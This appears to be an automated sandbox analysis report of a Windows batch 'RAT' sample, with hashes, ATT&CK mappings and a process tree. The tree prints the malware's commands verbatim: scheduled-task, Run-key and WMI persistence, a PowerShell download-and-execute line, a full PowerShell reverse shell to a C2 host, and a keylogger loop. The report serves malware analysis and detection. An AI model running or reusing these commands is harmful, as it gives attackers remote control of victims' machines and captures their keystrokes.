3cf4460c0746310d8b3b25d7a54a6711ba83c7b39a8895076917ba8a1d656860

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
29/05/2026, 22:19

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General

Target
rat_build_87216_014258.bat
Size 4KB
Sample260529-18ldbacv2j
SHA256 3cf4460c0746310d8b3b25d7a54a6711ba83c7b39a8895076917ba8a1d656860
MD5 e7f96ea84aa9c4c6d6e05c4e75d107ee
SHA1 7e2164125fc4f0785e6d4ab1cf32e1734740e9ab
SHA512 12201f8a8c96a6cfc2037b7444937142a5cf324d268da83fbd0da8031444a88673223166f8978711926f677c8a6b02f5db8cea1dbc9e33f74edf73862c2d43d9
SSDEEP 96:RIZ4Wv0wwnS1ERfV9JfHdq+rJdBzddGneJcgvEXKiFgZk8mvlo1sxF:Rcv0sERnvdrJdhXvc2iFgkHlfxF
TLSH
T18FA1292767A7A22088B1660DDD32388853ADD7F71304C9CDEB89CDC5194DB47912A6F7
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://payload.server/update_87216.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1868	powershell.exe
3480	powershell.exe
4748	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Updater_87216 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_87216.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
3	checkip.amazonaws.com

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
3792	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
2824	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
3956	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4492	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
3480	powershell.exe
3480	powershell.exe
4748	powershell.exe
4748	powershell.exe
1868	powershell.exe
1868	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	1268	WMIC.exe
Token: SeSecurityPrivilege	1268	WMIC.exe
Token: SeTakeOwnershipPrivilege	1268	WMIC.exe
Token: SeLoadDriverPrivilege	1268	WMIC.exe
Token: SeSystemProfilePrivilege	1268	WMIC.exe
Token: SeSystemtimePrivilege	1268	WMIC.exe
Token: SeProfSingleProcessPrivilege	1268	WMIC.exe
Token: SeIncBasePriorityPrivilege	1268	WMIC.exe
Token: SeCreatePagefilePrivilege	1268	WMIC.exe
Token: SeBackupPrivilege	1268	WMIC.exe
Token: SeRestorePrivilege	1268	WMIC.exe
Token: SeShutdownPrivilege	1268	WMIC.exe
Token: SeDebugPrivilege	1268	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1268	WMIC.exe
Token: SeRemoteShutdownPrivilege	1268	WMIC.exe
Token: SeUndockPrivilege	1268	WMIC.exe
Token: SeManageVolumePrivilege	1268	WMIC.exe
Token: 33	1268	WMIC.exe
Token: 34	1268	WMIC.exe
Token: 35	1268	WMIC.exe
Token: 36	1268	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1268	WMIC.exe
Token: SeSecurityPrivilege	1268	WMIC.exe
Token: SeTakeOwnershipPrivilege	1268	WMIC.exe
Token: SeLoadDriverPrivilege	1268	WMIC.exe
Token: SeSystemProfilePrivilege	1268	WMIC.exe
Token: SeSystemtimePrivilege	1268	WMIC.exe
Token: SeProfSingleProcessPrivilege	1268	WMIC.exe
Token: SeIncBasePriorityPrivilege	1268	WMIC.exe
Token: SeCreatePagefilePrivilege	1268	WMIC.exe
Token: SeBackupPrivilege	1268	WMIC.exe
Token: SeRestorePrivilege	1268	WMIC.exe
Token: SeShutdownPrivilege	1268	WMIC.exe
Token: SeDebugPrivilege	1268	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1268	WMIC.exe
Token: SeRemoteShutdownPrivilege	1268	WMIC.exe
Token: SeUndockPrivilege	1268	WMIC.exe
Token: SeManageVolumePrivilege	1268	WMIC.exe
Token: 33	1268	WMIC.exe
Token: 34	1268	WMIC.exe
Token: 35	1268	WMIC.exe
Token: 36	1268	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2632	WMIC.exe
Token: SeSecurityPrivilege	2632	WMIC.exe
Token: SeTakeOwnershipPrivilege	2632	WMIC.exe
Token: SeLoadDriverPrivilege	2632	WMIC.exe
Token: SeSystemProfilePrivilege	2632	WMIC.exe
Token: SeSystemtimePrivilege	2632	WMIC.exe
Token: SeProfSingleProcessPrivilege	2632	WMIC.exe
Token: SeIncBasePriorityPrivilege	2632	WMIC.exe
Token: SeCreatePagefilePrivilege	2632	WMIC.exe
Token: SeBackupPrivilege	2632	WMIC.exe
Token: SeRestorePrivilege	2632	WMIC.exe
Token: SeShutdownPrivilege	2632	WMIC.exe
Token: SeDebugPrivilege	2632	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2632	WMIC.exe
Token: SeRemoteShutdownPrivilege	2632	WMIC.exe
Token: SeUndockPrivilege	2632	WMIC.exe
Token: SeManageVolumePrivilege	2632	WMIC.exe
Token: 33	2632	WMIC.exe
Token: 34	2632	WMIC.exe
Token: 35	2632	WMIC.exe
Token: 36	2632	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2632	WMIC.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 3740 wrote to memory of 4492	3740	cmd.exe	88
PID 3740 wrote to memory of 3956	3740	cmd.exe	89
PID 3740 wrote to memory of 1268	3740	cmd.exe	90
PID 3740 wrote to memory of 2632	3740	cmd.exe	91
PID 3740 wrote to memory of 712	3740	cmd.exe	92
PID 3740 wrote to memory of 2824	3740	cmd.exe	97
PID 3740 wrote to memory of 3792	3740	cmd.exe	100
PID 3740 wrote to memory of 3480	3740	cmd.exe	101
PID 3740 wrote to memory of 4748	3740	cmd.exe	102
PID 3740 wrote to memory of 1868	3740	cmd.exe	103

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_87216_014258.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3740
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WinUpdate_87216" /tr "C:\Users\Admin\AppData\Local\Temp\_87216.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4492
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_87216" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_87216.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:3956
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_87216", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1268
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_87216", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_87216.bat"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2632
- C:\Windows\system32\curl.exe
  curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_87216.txt
  2⤵
  PID:712
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:2824
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  PID:3792
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_87216.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3480
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4748
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1868

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
TLSH
T15F51EE323375B1D8C9167F071E68198053BF4355EAA4AF1CB69C625EDD2640B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 4e2a48a91fb62ca96aeb378d761d6d2a618ff180197a834693dc57ee259a736f
MD5 deee64bbef2c2ccc214696a796b3e89a
SHA1 0b1bc0b9dfa44e5c785c96f4e959549f26f763ea
SHA512 1fb4cf9d31c8e4f48033c2d6b295e537cbf55375bf649005a3537ad0e9b26ab43461620ee8ae189007c9ea65d11c2a6e00cf7b63c1f422e73e27404a144e3f44
TLSH
T18C117A27F39CC921CC96153A409D9C1172B683D7419EDF9F6FC4D214A07F584CB71194
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 463fd8f8002671fab554049d935e9df88bdaa2cd5874017f916536853579532f
MD5 5ea51fed8c8b24f666c57ce005c26f7d
SHA1 b70f6b50a0889019fa666b3e3d7dbcdb5a855cb1
SHA512 a442eeec79b9909eef41b74b3e3698709a281bd29c580fed1f0ec3baf371b53257a9799967ee874a25bd620bff2d4910e99eed54793065e2a924c7c75541ca9a
TLSH
T1A6115727B39C89A1CC96153A409D9C1172B683DB409EDEDF6BC0D214A17F584CB61190
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_wibsnwwo.isl.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wibsnwwo.isl.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/3480-3-0x0000021146450000-0x0000021146472000-memory.dmp

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